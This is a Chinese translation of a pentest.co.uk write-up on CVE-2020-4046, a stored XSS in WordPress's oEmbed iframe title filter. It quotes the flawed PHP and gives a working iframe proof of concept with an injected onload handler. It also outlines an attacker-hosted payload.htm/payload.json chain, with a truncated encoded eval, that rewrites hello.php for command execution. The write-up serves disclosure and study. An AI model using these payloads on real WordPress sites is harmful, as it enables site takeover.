译文声明
本文是翻译文章,原作者 Sam Thomas
原文地址:https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/
译文仅作参考,具体内容表达请见原文
WordPress 在最新发布的5.4.2 版本中修复了一个存在已久且编号为CVE-2020-4046
的存储型xss漏洞,CVSS 评分 5.4,官方通告见此,该漏洞允许WordPress站点上经过身份验证的用户(拥有创建或编辑帖子的权限)将恶意js代码嵌入到帖子内容中,查看对应帖子的用户都会受到漏洞影响。演示视频见此。
用户在进行发帖/编辑操作时,可以使用嵌入功能,WordPress将基于用户提供的URL来进行页面引用,并尝试将其内容安全地嵌入到目标文本中。在执行嵌入操作时,可以以HTML视图
进行编辑,不过可用标签很有限,如iframe、blockquote
,另外WordPress会严格限制这些标签上的可用属性。
该漏洞源于`/wordpress/wp-includes/embed.php`文件中的一个安全过滤函数`wp_filter_oembed_iframe_title_attribute()`,其在`wordpress/wp-includes/default-filters.php`文件中被调用,函数源码如下:
function wp_filter_oembed_iframe_title_attribute( $result, $data, $url ) { if ( false === $result || ! in_array( $data->type, array( 'rich', 'video' ) ) ) { return $result; } $title = ! empty( $data->title ) ? $data->title : ''; $pattern = '`<iframe[^>]*?title=(\\\\\'|\\\\"|[\'"])([^>]*?)\1`i'; $has_itle_attr = preg_match( $pattern, $result, $matches ); if ( $has_title_attr && ! empty( $matches[2] ) ) { $title = $matches[2]; } /** * Filters the title attribute of the given oEmbed HTML iframe. * * @since 5.2.0 * * @param string $title The title attribute. * @param string $result The oEmbed HTML result. * @param object $data A data object result from an oEmbed provider. * @param string $url The URL of the content to be embedded. */ $title = apply_filters( 'oembed_iframe_title_attribute', $title, $result, $data, $url ); if ( '' === $title ) { return $result; } if ( $has_title_attr ) { // Remove the old title, $matches[1]: quote, $matches[2]: title attribute value. $result = str_replace( ' title=' . $matches[1] . $matches[2] . $matches[1], '', $result ); } return str_ireplace( '<iframe ', sprintf( '<iframe title="%s" ', esc_attr( $title ) ), $result );
此函数将查找并检查iframe
标签的title
属性,然后尝试替换删除一些敏感字符串。如下是HTML poc,成功实现在iframe
标签中注入其他属性或Js事件:
<blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width="'' onload='alert(123)'"></iframe>
对照上图,此时两个iframe
标签具有以下属性:
IFRAME 1 | |
---|---|
title | width='' |
IFRAME 2 | |
---|---|
src | noexist |
title | Xxx |
height | title= |
width | '' onload='alert(123)' |
当执行到该行代码时
if ( $has_title_attr ) { $result = str_replace( ' title=' . $matches[1] . $matches[2] . $matches[1], '', $result ); }
该段字符串将被被替换删除:
所以原本的:
<blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width="'' onload='alert(123)'"></iframe>
会变成:
<blockquote><iframe ></iframe></blockquote><iframe src='noexist' title='xxx' height=' ' onload='alert(123)'"></iframe>
此时 iframe
标签的属性如下:
|IFRAME 1| |
|:----:|:----:|
| | |
| | |
| | |
| | |
IFRAME 2 | |
---|---|
src | noexist |
title | xxx |
height | |
onload | alert(123) |
此时当查看相关帖子内容时,就会执行添加到onload
事件中的恶意代码。
@g0blinResearch
师傅在几年前写了一篇很棒的文章,描述了wordpress场景下xss的利用思路(利用xss添加管理员最终实现getshell)。其中提到的一些payload如今仍可通过若干修改来复用,这意味着只要管理员用户可以查看我们的帖子,我们就可以完全控制目标站点。
要利用该漏洞,攻击者需要在其自身的web服务器上托管两个文件(这些文件的内容将在后面显示)。为使漏洞利用正常进行,被攻击的目标服务器必须能访问攻击者web服务器以下载payload。虽然WordPress有健全的外部资源引用控制机制,但是此类安全设置将会阻止WordPress嵌入其它正常的URL,因此实际场景中开启此安全设置是比较少见的。我们基于@g0blinResearch
师傅的文章生成payload。然后将payload中插件地址修改为hello.php
(也就是/wp-content/plugins/hello.php
),该插件为WordPress默认插件且可以访问,同时进行了其他一些小的改动。该payload使用https://eve.gd/2007/05/23/string-fromcharcode-encoder/
在线工具进行编码,以避免各种转义问题。
在此演示中,对应的payload.htm
如下:
<HTML> <HEAD> <LINK type="application/json+oembed" href="http://attackbox1.pentest.co.uk/payload.json"> </HEAD> </HTML>
payload.json
部分如下,(没有给出完整的利用代码是为了避免漏洞在未修复前被恶意利用):
{ "type":"rich", "html":"<blockquote><iframe title=' width=\"'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width=\"'' onload='eval(String.fromCharCode(118,97,114,…))'\"></iframe>" }
现在,我们用至少具有贡献者
权限的账户登录目标站点,随后创建一个帖子以嵌入我们payload:
管理员随后查看帖子时:
我们的payload已执行,并且对应/wp-content/plugins/hello.php
文件被编辑成允许我们执行任意系统命令: